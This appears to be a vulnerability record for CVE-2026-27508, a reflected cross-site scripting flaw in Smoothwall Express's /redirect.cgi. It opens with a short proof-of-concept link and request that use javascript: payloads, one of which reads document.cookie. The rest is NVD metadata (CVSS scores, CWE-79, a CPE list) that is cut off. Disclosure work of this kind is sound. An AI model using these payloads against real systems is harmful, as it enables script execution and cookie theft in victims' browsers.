CVE-2026-27508

<!-- Proof of Concept for CVE-2026-27508 --> <!-- The vulnerable endpoint /redirect.cgi does not sanitize the url parameter --> <!-- malicious link example --> <a href="http://target-ip/redirect.cgi?url=javascript:alert('CVE-2026-27508_XSS')">Click here for redirect</a> <!-- HTTP Request Example --> /* GET /redirect.cgi?url=javascript:alert(document.cookie) HTTP/1.1 Host: target-ip User-Agent: Mozilla/5.0 */

{"cve": {"id": "CVE-2026-27508", "sourceIdentifier": "[email protected]", "published": "2026-03-30T17:16:15.440", "lastModified": "2026-04-14T16:32:57.800", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Smoothwall Express versions prior to 3.1 Update 13 contain a reflected cross-site scripting vulnerability in the /redirect.cgi endpoint due to improper sanitation of the url parameter. Attackers can craft malicious URLs with javascript: schemes that execute arbitrary JavaScript in victims' browsers when clicked through the unsanitized link."}, {"lang": "es", "value": "Las versiones de Smoothwall Express anteriores a 3.1 Update 13 contienen una vulnerabilidad de cross-site scripting reflejado en el endpoint /redirect.cgi debido a una sanitización inadecuada del parámetro url. Los atacantes pueden crear URLs maliciosas con esquemas javascript: que ejecutan JavaScript arbitrario en los navegadores de las víctimas cuando se hace clic en el enlace no sanitizado."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "ACTIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.5}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:smoothwall:smoothwall_express:*:*:*:*:*:*:*:*", "versionEndIncluding": "3.0", "matchCriteriaId": "F0BC090B-12A9-4A0E-9BD2-EFA56B569432"}, {"vulnerable": true, "criteria": "cpe:2.3:o:smoothwall:smoothwall_express:3.1:update1:*:*:-:*:*:*", "matchCriteriaId": "714B3296-7323-4920-8832-827C697ABED8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:smoothwall:smoothwall_express:3.1:update10:*:*:-:*:*:*", "matchCriteriaId": "07EF8E3A-93A2-4A5A-A077-B692D7B4D92F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:smoothwall:smoothwall_express:3.1:update11:*:*:-:*:*:*", "matchCriteriaId": "2B3D4296-EE7C-46FD-A734-419DC0BDFB7A"}, {"vulnerable": true, "criteria": "cpe:2.3:o:smoothwall:smoothwall_express:3.1:update12:*:*:-:*:*:*", "matchCriteriaId": "230A2DC9-DE28-4D18-99B8-0567CE99969C"}, {"vulnerable": true, "criteria": "cpe:2.3:o:smoothwall:smoothwall_express:3.1:update2:*:*:-:*:*:*", "matchCriteriaId": "5F0EED85-4850-4303-9529-E45868061C90"}, {"vulnerable": true, "criteria": "cpe:2.3:o:smoothwall:smoothwall_express:3.1:update3:*:*:-:*:*:*", "matchCriteriaId": "0A0D511A-9CBB-4586-BF80-AAC12101B9E4"}, {"vulnerable": true, "criteria": "cpe:2.3:o:smoothwall:smoothwall_express:3.1:update4:*:*:-:*:*:*", "matchCriteriaId ... (truncated)